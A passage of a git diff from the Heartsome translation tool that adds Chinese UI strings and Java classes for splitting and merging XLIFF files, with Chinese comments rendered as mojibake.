\u4e2a\u6587\u4ef6\uff1a\u6587\u4ef6\u7c7b\u578b\u4e0d\u6b63\u786e\uff0c\u65e0\u6cd5\u5408\u5e76\u3002 +wizard.SplitXliffWizard.windowTitle = \u5206\u5272 XLIFF \u6587\u4ef6 +wizard.SplitXliffWizardPage.title = \u5c06 XLIFF \u6587\u4ef6\u5206\u5272\u4e3a\u591a\u4e2a\u5c0f\u6587\u4ef6 +wizard.SplitXliffWizardPage.xliffDataGroup = \u5206\u5272 XLIFF \u6587\u4ef6 +wizard.SplitXliffWizardPage.xlfNameLbl = XLIFF \u6587\u4ef6\uff1a +wizard.SplitXliffWizardPage.targetFilsPathLbl = \u5206\u5272\u540e\u5b58\u653e\u5230\uff1a +wizard.SplitXliffWizardPage.columnNames1 = \u5e8f\u53f7 +wizard.SplitXliffWizardPage.columnNames2 = \u5206\u5272\u6587\u4ef6\u540d +wizard.SplitXliffWizardPage.columnNames3 = \u8d77\u59cb\u6587\u672c\u6bb5\u5e8f\u53f7 +wizard.SplitXliffWizardPage.msg = \u6240\u9009\u62e9\u7684\u5f85\u5206\u5272\u6587\u4ef6\u4e0d\u662f\u5408\u6cd5\u7684 XLIFF \u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 + +################################ 2012-11-13 robert \u6dfb\u52a0 ################################ +splitAndMergeXliff.MergeXliff.addTip1 = \u6240\u9009\u5f85\u5408\u5e76\u6587\u4ef6\u4e0d\u662f\u7531\u4e00\u4e2a\u6587\u4ef6\u5206\u5272\u800c\u6765\uff0c\u4e0d\u80fd\u8fdb\u884c\u5408\u5e76\uff0c\u8bf7\u786e\u8ba4\u3002 diff --git a/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/split/MergeXliff.java b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/split/MergeXliff.java new file mode 100644 index 0000000..e1f29c5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/split/MergeXliff.java @@ -0,0 +1,665 @@ +package net.heartsome.cat.ts.handlexlf.split; + +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.Map; +import java.util.Set; +import java.util.Vector; + +import net.heartsome.cat.common.core.Constant; +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.handlexlf.resource.Messages; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.IPath; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.Path; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.jface.dialogs.InputDialog; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.window.Window; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Shell; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * åˆå¹¶xliff文件 + * @author robert 2011-10-25 + */ +public class MergeXliff { + + private static final Logger LOGGER = LoggerFactory.getLogger(MergeXliff.class); + + private Shell shell; + /** XLIFF æ–‡ä»¶å¤„ç† */ + private XLFHandler xlfhandler = new XLFHandler(); + private SplitOrMergeXlfModel model; + private int runIndex = 1; // 全并程åºè¿è¡Œæ¬¡æ•° + /** åˆå¹¶æ–‡ä»¶çš„存储路径 */ + private String targetFilePath = null; + + public MergeXliff(SplitOrMergeXlfModel model) { + this.shell = model.getShell(); + this.model = model; + } + + /** + * åˆå¹¶å‰è¿›è¡Œç›¸å…³çš„éªŒè¯ + * @param srcFilesPath + * è¦åˆå¹¶çš„xliff文件ç»å¯¹è·¯å¾„ + */ + public boolean merge(Vector srcFilesPath, IProgressMonitor monitor) { + if (runIndex == 1) { // 第一次è¿è¡Œ + monitor.beginTask(Messages.getString("splitAndMergeXliff.MergeXliff.task1"), 2); + } + if (!checkCanMerge(srcFilesPath)) { + return false; + } + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + + try { + // 验è¯XLF是å¦åˆæ³•,æå–æ¯ä¸ªæ–‡ä»¶ä¸­çš„åˆå¹¶ä¿¡æ¯ã€‚ + // key 为 Depth, key 为 splitTime , key 为 ID + Map>>> splitInfo = new HashMap>>>(); + int maxDepth = 1; + IProgressMonitor subMonitor = new SubProgressMonitor(monitor, 1, + SubProgressMonitor.PREPEND_MAIN_LABEL_TO_SUBTASK); + subMonitor.beginTask(Messages.getString("splitAndMergeXliff.MergeXliff.task2"), srcFilesPath.size() + 1); + for (int i = 0, size = srcFilesPath.size(); i < size; i++) { + final String srcXlfPath = srcFilesPath.get(i); + // 开始解æžæ–‡ä»¶ + Map resultMap = xlfhandler.openFile(srcXlfPath); + if (resultMap == null + || Constant.RETURNVALUE_RESULT_SUCCESSFUL != (Integer) resultMap + .get(Constant.RETURNVALUE_RESULT)) { + Display.getDefault().asyncExec(new Runnable() { + public void run() { + MessageDialog.openError(shell, + Messages.getString("splitAndMergeXliff.MergeXliff.msgTitle1"), + Messages.getString("splitAndMergeXliff.MergeXliff.msg1")); + } + }); + return false; + } + + if (targetFilePath == null || "".equals(targetFilePath)) { + getTargetFilePath(srcFilesPath); + if (targetFilePath == null) { + return false; + } + } + + // 若其file元素个数å°äºŽ1,或者其根元素ä¸ä¸º"xliff",那么就这个ä¸æ˜¯XLIFF文档 + if (!xlfhandler.validateSplitXlf(srcXlfPath) || xlfhandler.getFileCountInXliff(srcXlfPath) < 1) { + Display.getDefault().asyncExec(new Runnable() { + public void run() { + MessageDialog.openInformation(shell, + Messages.getString("splitAndMergeXliff.MergeXliff.msgTitle2"), + Messages.getString("splitAndMergeXliff.MergeXliff.msg2")); + } + }); + return false; + } + // 得到最åŽä¸€æ¬¡çš„åˆ†å‰²ä¿¡æ¯ + Map oldInfo = null; + // 这是针对切分已ç»åˆ‡åˆ†çš„文件,获å–其最åŽä¸€æ¬¡çš„åˆ‡åˆ†ä¿¡æ¯ + oldInfo = xlfhandler.getOldSplitInfo(srcXlfPath); + + if (oldInfo == null || oldInfo.size() <= 0) { + Display.getDefault().asyncExec(new Runnable() { + public void run() { + MessageDialog.openInformation(shell, Messages + .getString("splitAndMergeXliff.MergeXliff.msgTitle2"), MessageFormat.format( + Messages.getString("splitAndMergeXliff.MergeXliff.msg3"), + new Object[] { getFullPath(srcXlfPath) })); + } + }); + return false; + } + + // 从å„文件中æå–出ID存入ä¸é‡å¤çš„集åˆä¸­ + String id = oldInfo.get("id"); + String index = oldInfo.get("index"); + String count = oldInfo.get("count"); + String splitTime = oldInfo.get("splitTime"); + String strDepth = oldInfo.get("depth"); + String name = oldInfo.get("name"); + + // key 为 splitTime, key 为 id + Map>> groupByDepth = splitInfo.get(strDepth); + if (groupByDepth == null) { + groupByDepth = new HashMap>>(); + } + + // key 为 id + Map> groupBySplitTime = groupByDepth.get(splitTime); + if (groupBySplitTime == null) { + groupBySplitTime = new HashMap>(); + } + + Map groupById = groupBySplitTime.get(id); + if (groupById == null) { + groupById = new HashMap(); + } + + groupById.put("fileIndex", "" + i); + groupById.put("splitTime", splitTime); + groupById.put("id", id); + groupById.put("count", count); + groupById.put("index", index); + groupById.put("depth", strDepth); + groupById.put("name", name); + + groupBySplitTime.put(id, groupById); + groupByDepth.put(splitTime, groupBySplitTime); + splitInfo.put(strDepth, groupByDepth); + + int depth = Integer.parseInt(strDepth); + if (depth > maxDepth) { + maxDepth = depth; + } + subMonitor.worked(1); + } + + // 对分组åŽçš„ä¿¡æ¯è¿›è¡ŒéªŒè¯ï¼Œé€šè¿‡éªŒè¯çš„进行åˆå¹¶ã€‚ + Iterator itByDepth = splitInfo.keySet().iterator(); + Vector neededRemove = new Vector(); + subMonitor.subTask(Messages.getString("splitAndMergeXliff.MergeXliff.task3")); + while (itByDepth.hasNext()) { + String curDepth = itByDepth.next(); + if (curDepth.equals("" + maxDepth)) { + Map>> groupBySplitTime = splitInfo.get(curDepth); + + // 对åŒä¸€æ·±åº¦ä¸åŒæ—¶é—´åˆ†å‰²çš„æ–‡ä»¶åˆ†åˆ«è¿›è¡ŒéªŒè¯ + Iterator itBySplitTime = groupBySplitTime.keySet().iterator(); + while (itBySplitTime.hasNext()) { + String curSplitTime = itBySplitTime.next(); + Map> groupById = groupBySplitTime.get(curSplitTime); + + Iterator itById = groupById.keySet().iterator(); + Vector mergeFilesPath = new Vector(); + while (itById.hasNext()) { + String curId = itById.next(); + Map curInfo = groupById.get(curId); + + int count = Integer.parseInt(curInfo.get("count")); + + if (groupById.size() != count) { + Display.getDefault().syncExec(new Runnable() { + public void run() { + MessageDialog.openError(shell, + Messages.getString("splitAndMergeXliff.MergeXliff.msgTitle1"), + Messages.getString("splitAndMergeXliff.MergeXliff.msg4")); + } + }); + return false; + } + + // 验è¯å…¶ä»–文件是å¦å­˜ï¼Œå¹¶å–出其文件索引 + String prefixId = ""; + int pos1 = curId.lastIndexOf("~"); + if (pos1 != -1) { + prefixId = curId.substring(0, pos1 + 1); + } else { + prefixId = curId.substring(0, curId.lastIndexOf("-") + 1); + } + + for (int i = 1; i <= count; i++) { + String id = prefixId + i + "/" + count; + if (!groupById.containsKey(id)) { + Display.getDefault().asyncExec(new Runnable() { + public void run() { + MessageDialog.openError(shell, + Messages.getString("splitAndMergeXliff.MergeXliff.msgTitle1"), + Messages.getString("splitAndMergeXliff.MergeXliff.msg5")); + } + }); + return false; + } else { + + Map fileInfo = groupById.get(id); + + int index = Integer.parseInt(fileInfo.get("index")); + int fileIndex = Integer.parseInt(fileInfo.get("fileIndex")); + + // 如果存在,就添加进需åˆå¹¶çš„文件å集åˆã€‚ + mergeFilesPath.add(index - 1, srcFilesPath.get(fileIndex)); + } + } + + // åªéœ€å–出一个元素去判断其他元素是å¦å­˜åœ¨å³å¯ + break; + } + + IProgressMonitor mergeSubMonitor = new SubProgressMonitor(monitor, 1, + SubProgressMonitor.PREPEND_MAIN_LABEL_TO_SUBTASK); + // 如果深度为1,则å–用户选的文件å,å¦åˆ™å»ºä¸€ä¸ªä¸´æ—¶æ–‡ä»¶ + if (curDepth.equals("1")) { + boolean returnMerge = mergeXLF(targetFilePath, mergeFilesPath, mergeSubMonitor); + xlfhandler.deleteSplitInfoParent(targetFilePath); + // 处ç†å…³äºŽé‡å¤èŠ‚点的情况,2012-05-13 + xlfhandler.operateMergedXliff(targetFilePath); + return returnMerge; + } else { + // 这是多次分割的情况,创建一个临时文件 + File tmpXLF = xlfhandler.createTmpFile(); + neededRemove.addAll(mergeFilesPath); + srcFilesPath.add(tmpXLF.getAbsolutePath()); + if (!mergeXLF(tmpXLF.getAbsolutePath(), mergeFilesPath, mergeSubMonitor)) { + return false; + } + + } + } + } + } + + subMonitor.worked(1); + subMonitor.done(); + + int remain = srcFilesPath.size() - neededRemove.size(); + if (remain > 0) { + String[] srcFileArray = new String[remain]; + for (int i = 0, j = 0, length = srcFileArray.length; i < length; i++) { + for (int size = srcFilesPath.size(); j < size; j++) { + if (!neededRemove.contains(srcFilesPath.get(j))) { + srcFileArray[i] = srcFilesPath.get(j); + j++; + break; + } + } + } + Vector srcFiles = new Vector(); + for (int i = 0, size = srcFileArray.length; i < size; i++) { + srcFiles.add(srcFileArray[i]); + } + // 如果调用这个方法åŽæœ‰é”™è¯¯å¹¶è¿”回false,那么返回false; + if (!merge(srcFiles, monitor)) { + return false; + } + if (runIndex == 1) { + monitor.done(); + } + runIndex++; + } else { + Display.getDefault().asyncExec(new Runnable() { + public void run() { + MessageDialog.openError(shell, Messages.getString("splitAndMergeXliff.MergeXliff.msgTitle1"), + Messages.getString("splitAndMergeXliff.MergeXliff.msg5")); + } + }); + return false; + } + + } catch (Exception e) { + LOGGER.error("", e); + e.printStackTrace(); + Display.getDefault().asyncExec(new Runnable() { + public void run() { + MessageDialog.openError(shell, Messages.getString("splitAndMergeXliff.MergeXliff.msgTitle1"), + Messages.getString("splitAndMergeXliff.MergeXliff.msg6")); + } + }); + } + return true; + } + + /** + * åˆå¹¶xliff文件 + * @param thisTarFilePath + * 本次è¦åˆå¹¶è€Œæˆçš„目标文件的ç»å¯¹è·¯å¾„ + * @param mergeFilesPath + * è¦åˆå¹¶æ–‡ä»¶çš„ç»å¯¹è·¯å¾„ + * @throws Exception + */ + private boolean mergeXLF(String thisTarFilePath, Vector srcFilesPath, IProgressMonitor monitor) + throws Exception { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask(Messages.getString("splitAndMergeXliff.MergeXliff.task4"), srcFilesPath.size()); + + // 因为åˆå¹¶çš„文件都是由一个文件分割而æˆçš„,因此获å–其中一个文件的xliff节点的头 + String xliffNodeHeader = xlfhandler.getNodeHeader(srcFilesPath.get(0), "xliff", "/xliff"); + createTargetXliff(thisTarFilePath, xliffNodeHeader); + // 解æžç›®æ ‡æ–‡ä»¶ + Map tarResultMap = xlfhandler.openFile(thisTarFilePath); + if (tarResultMap == null + || Constant.RETURNVALUE_RESULT_SUCCESSFUL != (Integer) tarResultMap.get(Constant.RETURNVALUE_RESULT)) { + Display.getDefault().asyncExec(new Runnable() { + public void run() { + MessageDialog.openError(shell, Messages.getString("splitAndMergeXliff.MergeXliff.msgTitle1"), + Messages.getString("splitAndMergeXliff.MergeXliff.msg7")); + } + }); + return false; + } + + for (int i = 0, size = srcFilesPath.size(); i < size; i++) { + /* + * Map curSrcResultMap = xlfhandler.openFile(srcFilesPath.get(i)); if (curSrcResultMap == + * null || Constant.RETURNVALUE_RESULT_SUCCESSFUL != (Integer) + * curSrcResultMap.get(Constant.RETURNVALUE_RESULT)) { MessageDialog.openError(shell, "Error", "文件åˆå¹¶å¤±è´¥!"); + * return; } + */ + + // 循环当å‰ç›®æ ‡æ–‡ä»¶çš„所有fileå­èŠ‚点 + int srcFileNodeCount = xlfhandler.getNodeCount(srcFilesPath.get(i), "/xliff/file"); + for (int srcFileNodeIndex = 1; srcFileNodeIndex <= srcFileNodeCount; srcFileNodeIndex++) { + // 与目标文件中的fileå­èŠ‚点的属性相比较,若相åŒï¼Œåˆ™å°†body节点的内容添加到目标文件中,若ä¸ç›¸åŒï¼Œåˆ™å°†è¯¥æºæ–‡ä»¶çš„整个file节点添加到目标文件中 + int tarFileNodeCount = xlfhandler.getNodeCount(thisTarFilePath, "/xliff/file"); + // 若目标文件中没有file节点,那么新建此节点 + if (tarFileNodeCount < 1) { + String xliffNodeFrag = xlfhandler.getNodeFrag(srcFilesPath.get(i), "/xliff/file[" + + srcFileNodeIndex + "]"); + xlfhandler.addDataToXlf(thisTarFilePath, xliffNodeFrag, "/xliff"); + } else { + Hashtable srcFileNodeAttrs = xlfhandler.getNodeAttributes(srcFilesPath.get(i), + "/xliff/file[" + srcFileNodeIndex + "]"); + + boolean hasTheSame = false; + for (int tarFileNodeIndex = 1; tarFileNodeIndex <= tarFileNodeCount; tarFileNodeIndex++) { + Hashtable tarFileNodeAttrs = xlfhandler.getNodeAttributes(thisTarFilePath, + "/xliff/file[" + tarFileNodeIndex + "]"); + + // 比较两个file节点的所有属性,如果两个file节点的属性相等 ,则è¯æ˜Žæ˜¯åŒä¸€ä¸ªfile节点,那么,将æºæ–‡ä»¶çš„该file节点的body内容拷进目标文件中 + if (compareValue(srcFileNodeAttrs, tarFileNodeAttrs)) { + String bodyNodeContent = xlfhandler.getNodeContent(srcFilesPath.get(i), "/xliff/file[" + + srcFileNodeIndex + "]/body"); + xlfhandler.addDataToXlf(thisTarFilePath, bodyNodeContent, "/xliff/file[" + tarFileNodeIndex + + "]/body"); + hasTheSame = true; + } + } + + if (!hasTheSame) { + // 如果ä¸ç›¸ç­‰ï¼Œåˆ™å°†æºæ–‡ä»¶çš„file直接添加到目标文件中去 + String xliffNodeFrag = xlfhandler.getNodeFrag(srcFilesPath.get(i), "/xliff/file[" + + srcFileNodeIndex + "]"); + xlfhandler.addDataToXlf(thisTarFilePath, xliffNodeFrag, "/xliff"); + } + } + } + + monitor.worked(1); + + } + // 删除目标文件的header节点下的最åŽä¸€æ¡åˆ‡å‰²ä¿¡æ¯ + xlfhandler.deleteLastSplitInfo(thisTarFilePath); + + monitor.done(); + return true; + } + + /** + * 验è¯æ‰€é€‰æ–‡ä»¶èƒ½å¦åˆå¹¶ + * @param srcFilesPath + * @return + */ + public boolean checkCanMerge(Vector srcFilesPath) { + try { + Set sourceName = new HashSet(); + // key is id, value is split info. + Map> info = new HashMap>(); + String originalName = ""; + for (int i = 0; i < srcFilesPath.size(); i++) { + Map curSrcResultMap = xlfhandler.openFile(srcFilesPath.get(i)); + if (curSrcResultMap == null + || Constant.RETURNVALUE_RESULT_SUCCESSFUL != (Integer) curSrcResultMap + .get(Constant.RETURNVALUE_RESULT)) { + Display.getDefault().asyncExec(new Runnable() { + public void run() { + MessageDialog.openError(shell, + Messages.getString("splitAndMergeXliff.MergeXliff.msgTitle1"), + Messages.getString("splitAndMergeXliff.MergeXliff.msg7")); + } + }); + return false; + } + // ä¸åŒæ–‡ä»¶è¿›è¡Œåˆ†å‰²çš„文件ä¸èƒ½è¿›è¡Œåˆå¹¶ + if (originalName == null || "".equals(originalName)) { + originalName = xlfhandler.getSplitOriginalName(srcFilesPath.get(i)); + }else { + if (!originalName.equals(xlfhandler.getSplitOriginalName(srcFilesPath.get(i)))) { + Display.getDefault().asyncExec(new Runnable() { + public void run() { + MessageDialog.openInformation(shell, Messages + .getString("splitAndMergeXliff.MergeXliff.msgTitle2"), + Messages.getString("splitAndMergeXliff.MergeXliff.addTip1")); + } + }); + return false; + } + } + + Map oldInfo = xlfhandler.getOldSplitInfo(srcFilesPath.get(i)); + if (oldInfo == null || oldInfo.size() <= 0) { + final String srcXlfPath = srcFilesPath.get(i); + Display.getDefault().asyncExec(new Runnable() { + public void run() { + MessageDialog.openInformation(shell, Messages + .getString("splitAndMergeXliff.MergeXliff.msgTitle2"), MessageFormat.format( + Messages.getString("splitAndMergeXliff.MergeXliff.msg3"), + new Object[] { srcXlfPath })); + } + }); + return false; + } + // 从å„文件中æå–出ID存入ä¸é‡å¤çš„集åˆä¸­ + String id = oldInfo.get("id"); //$NON-NLS-1$ + String sourceFileName = id.substring(0, id.lastIndexOf("-")); //$NON-NLS-1$ + sourceName.add(sourceFileName); + oldInfo.put("fileIndex", "" + i); //$NON-NLS-1$ //$NON-NLS-2$ + info.put(id, oldInfo); + + } + + // 检查是å¦æœ‰çˆ¶å­åŒåœ¨çš„情况 + Iterator infoIt = info.keySet().iterator(); + while (infoIt.hasNext()) { + String id = infoIt.next(); + + Iterator tarIt = info.keySet().iterator(); + while (tarIt.hasNext()) { + String tarId = tarIt.next(); + + // 如果是自己就继续下一个的比较 + if (tarId.equals(id)) { + continue; + } + + if (tarId.startsWith(id)) { + Map srcInfo = info.get(id); + Map tarInfo = info.get(tarId); + + int srcFileIndex = Integer.parseInt(srcInfo.get("fileIndex")); //$NON-NLS-1$ + int tarFileIndex = Integer.parseInt(tarInfo.get("fileIndex")); //$NON-NLS-1$ + + final String parentPath = getFullPath(srcFilesPath.get(srcFileIndex)); + final String childPath = getFullPath(srcFilesPath.get(tarFileIndex)); + Display.getDefault().asyncExec(new Runnable() { + public void run() { + MessageDialog.openInformation(shell, Messages + .getString("splitAndMergeXliff.MergeXliff.msgTitle2"), MessageFormat.format( + Messages.getString("splitAndMergeXliff.MergeXliff.msg8"), new Object[] { + parentPath, childPath })); + } + }); + + return false; + } + } + } + + } catch (Exception e) { + LOGGER.error("", e); + e.printStackTrace(); + } + + return true; + } + + /** + * 获å–åˆå¹¶åŽçš„文件的路径 + * @param srcXlfPath + * 被分割的第一个文件 + */ + private void getTargetFilePath(final Vector srcFilesPath) { + String originalFileName = xlfhandler.getSplitOriginalName(srcFilesPath.get(0)); + if (originalFileName == null) { + targetFilePath = null; + Display.getDefault().asyncExec(new Runnable() { + public void run() { + MessageDialog.openInformation(shell, Messages.getString("splitAndMergeXliff.MergeXliff.msgTitle2"), + Messages.getString("splitAndMergeXliff.MergeXliff.msg9")); + } + }); + } else { + String srcXlfLC = null; + int leastLength = -1; + // 循环é历æ¯ä¸€ä¸ªæ–‡ä»¶ï¼Œæ‰¾å‡ºå…¶ä¸­æ·±åº¦æœ€ä½Žçš„文件,之åŽå†å–其父目录åšä¸ºåˆå¹¶æ–‡ä»¶çš„ä½ç½® + for(String fileLC : srcFilesPath){ + IFile iFile = ResourceUtils.fileToIFile(fileLC); + String fullStr = iFile.getFullPath().toOSString(); + String separator = "\\".equals(System.getProperty("file.separator")) ? "\\\\" : "/"; + String[] array = fullStr.split(separator); + if (leastLength == -1) { + leastLength = array.length; + srcXlfLC = fileLC; + }else { + if (array.length < leastLength) { + srcXlfLC = fileLC; + } + } + } + + if (srcXlfLC == null || "".equals(srcXlfLC)) { + return; + } + + final String fileExtension = originalFileName.substring(originalFileName.lastIndexOf("."), + originalFileName.length()); + originalFileName = originalFileName.substring(0, originalFileName.lastIndexOf(fileExtension)) + "_merged" + + fileExtension; + + // 下é¢åˆ¤æ–­è¿™ä¸ªå±‚次最高的文件,它的父的父是ä¸æ˜¯"XLIFF" æ–‡ä»¶å¤¹ï¼Œå¦‚æžœæ˜¯çš„è¯ + IFile srcXlfIFile = ResourceUtils.fileToIFile(srcXlfLC); + IPath mergeFileParentIPath = null; + if ("XLIFF".equals(srcXlfIFile.getParent().getParent().getName())) { + mergeFileParentIPath = srcXlfIFile.getParent().getLocation(); + }else { + mergeFileParentIPath = srcXlfIFile.getParent().getParent().getLocation(); + } + + + targetFilePath = mergeFileParentIPath.append(originalFileName).toOSString(); + if (new File(targetFilePath).exists()) { + final String initValue = "Copy of " + originalFileName; + final String message = MessageFormat.format(Messages.getString("splitAndMergeXliff.MergeXliff.msg10"), + originalFileName); + final IPath curPath = mergeFileParentIPath; + Display.getDefault().syncExec(new Runnable() { + public void run() { + InputDialog dialog = new InputDialog(shell, Messages + .getString("splitAndMergeXliff.MergeXliff.dialogTitle"), message, initValue, null); + dialog.open(); + if (dialog.getReturnCode() == Window.CANCEL) { + targetFilePath = null; + } else { + String newFileName = dialog.getValue(); + if (!fileExtension.equals(newFileName.substring(newFileName.lastIndexOf("."), + newFileName.length()))) { + newFileName = newFileName + fileExtension; + } + targetFilePath = curPath.append(newFileName).toOSString(); + } + } + }); + } + } + } + + /** + * 创建åˆå¹¶åŽçš„目标文件, 并添加xliff节点 + * @param tarXlfPath + * 切割文件的路径 + * @param newSliptXlfPath + * æ–°çš„xliff文件的路径 + */ + public void createTargetXliff(String tarXlfPath, String xliffNodeHeader) { + FileOutputStream output; + try { + output = new FileOutputStream(tarXlfPath); + output.write("\n".getBytes("UTF-8")); + output.write(xliffNodeHeader.getBytes("UTF-8")); + output.close(); + } catch (FileNotFoundException e) { + LOGGER.error("", e); + e.printStackTrace(); + } catch (UnsupportedEncodingException e) { + LOGGER.error("", e); + e.printStackTrace(); + } catch (IOException e) { + LOGGER.error("", e); + e.printStackTrace(); + } + } + + public boolean compareValue(Hashtable hashValueOne, Hashtable hashValueTwo) { + if (hashValueOne.size() != hashValueTwo.size()) { + return false; + } + Iterator key = hashValueOne.keySet().iterator(); + while (key.hasNext()) { + String keyValue = key.next(); + if (!hashValueOne.get(keyValue).equals(hashValueTwo.get(keyValue))) { + return false; + } + } + return true; + } + + /** + * 获å–相对于项目的相对路径 + * @param absolutePath + * @return + */ + public String getFullPath(String absolutePath) { + // UNDO åˆå¹¶åŽçš„文件好åƒä¸èƒ½è½¬æ¢å›žåŽŸæ–‡ä»¶ï¼Œè¿™é‡Œè¿˜éœ€å®Œå–„。 + IWorkspaceRoot root = ResourcesPlugin.getWorkspace().getRoot(); + IFile iFile = root.getFileForLocation(Path.fromOSString(absolutePath)); + return iFile.getFullPath().toOSString(); + } + + public String getTargetFilePath() { + return targetFilePath; + } + + public static void main(String[] args) { + String xlf_1 = "/testBug/XLIFF/zh-CN/BUG 2424 åˆå¹¶xliff判断出错/测试åˆå¹¶ (zh-cn).txt.hsxliff"; + String[] array_1 = xlf_1.split(System.getProperty("file.separator")); + System.out.println(array_1.length); + System.out.println(array_1[2]); + + + } + +} + + + diff --git a/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/split/SplitOrMergeXlfModel.java b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/split/SplitOrMergeXlfModel.java new file mode 100644 index 0000000..151845a --- /dev/null +++ b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/split/SplitOrMergeXlfModel.java @@ -0,0 +1,83 @@ +package net.heartsome.cat.ts.handlexlf.split; + +import java.util.LinkedList; +import java.util.List; +import java.util.Vector; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.resources.IContainer; +import org.eclipse.core.resources.IFile; +import org.eclipse.swt.widgets.Shell; + +public class SplitOrMergeXlfModel { + /** è¦åˆ‡å‰²çš„文件 */ + private IFile splitFile; + /** 切割点的集åˆï¼Œä¿å­˜çš„是切割点的trans-unit在文件中的ä½ç½® */ + private List splitXlfPointsIndex = new LinkedList(); + /** 切割点的集åˆï¼Œä¿å­˜çš„是切割点的trans-unitçš„rowid */ + private List splitXlfPointsRowId = new LinkedList(); + /** xliffEditor */ + private XLIFFEditorImplWithNatTable xliffEditor; + /** 从hander那边传过æ¥çš„shell */ + private Shell shell; + /** 切割åŽæ–‡ä»¶æ‰€é™ˆæ”¾çš„文件夹 */ + private IContainer splitXlfsContainer; + /** è¦åˆå¹¶çš„xliff文件 */ + private Vector mergeXliffFile; + /** 分割åŽç”Ÿæˆçš„å­æ–‡ä»¶ */ + private LinkedList newSplitedFilesName = new LinkedList(); + + public SplitOrMergeXlfModel(){} + + + public IFile getSplitFile() { + return splitFile; + } + public void setSplitFile(IFile splitFile) { + this.splitFile = splitFile; + } + public XLIFFEditorImplWithNatTable getXliffEditor() { + return xliffEditor; + } + public void setXliffEditor(XLIFFEditorImplWithNatTable xliffEditor) { + this.xliffEditor = xliffEditor; + } + public Shell getShell() { + return shell; + } + public void setShell(Shell shell) { + this.shell = shell; + } + public IContainer getSplitXlfsContainer() { + return splitXlfsContainer; + } + public void setSplitXlfsContainer(IContainer splitXlfsContainer) { + this.splitXlfsContainer = splitXlfsContainer; + } + public Vector getMergeXliffFile() { + return mergeXliffFile; + } + public void setMergeXliffFile(Vector mergeXliffFile) { + this.mergeXliffFile = mergeXliffFile; + } + public LinkedList getNewSplitedFilesName() { + return newSplitedFilesName; + } + public void setNewSplitedFilesName(LinkedList newSplitedFilesName) { + this.newSplitedFilesName = newSplitedFilesName; + } + public List getSplitXlfPointsIndex() { + return splitXlfPointsIndex; + } + public void setSplitXlfPointsIndex(List splitXlfPointsIndex) { + this.splitXlfPointsIndex = splitXlfPointsIndex; + } + public List getSplitXlfPointsRowId() { + return splitXlfPointsRowId; + } + public void setSplitXlfPointsRowId(List splitXlfPointsRowId) { + this.splitXlfPointsRowId = splitXlfPointsRowId; + } + +} diff --git a/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/split/SplitXliff.java b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/split/SplitXliff.java new file mode 100644 index 0000000..6d4d160 --- /dev/null +++ b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/split/SplitXliff.java @@ -0,0 +1,535 @@ +package net.heartsome.cat.ts.handlexlf.split; + +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Iterator; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.core.Constant; +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.handlexlf.resource.Messages; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.resources.IWorkspace; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.IPath; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.eclipse.core.runtime.Path; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IEditorReference; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.ide.ResourceUtil; +import org.eclipse.ui.part.FileEditorInput; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 切割xliff + * @author robert 2011-10-18 + */ +public class SplitXliff { + + private static final Logger LOGGER = LoggerFactory.getLogger(SplitXliff.class); + private final String NATABLE_ID = "net.heartsome.cat.ts.ui.xliffeditor.nattable.editor"; + + /** è¦åˆ‡å‰²çš„Xliff文件 */ + private IFile splitFile; + + /** 切割Xliff所需è¦çš„切割点, ä¿å­˜çš„是åºåˆ—å· */ + private List splitPointsIndex; + private List splitPointsRowId; + + private Shell shell; + + /** XLIFF æ–‡ä»¶å¤„ç† */ + private XLFHandler xlfhandler; + /** 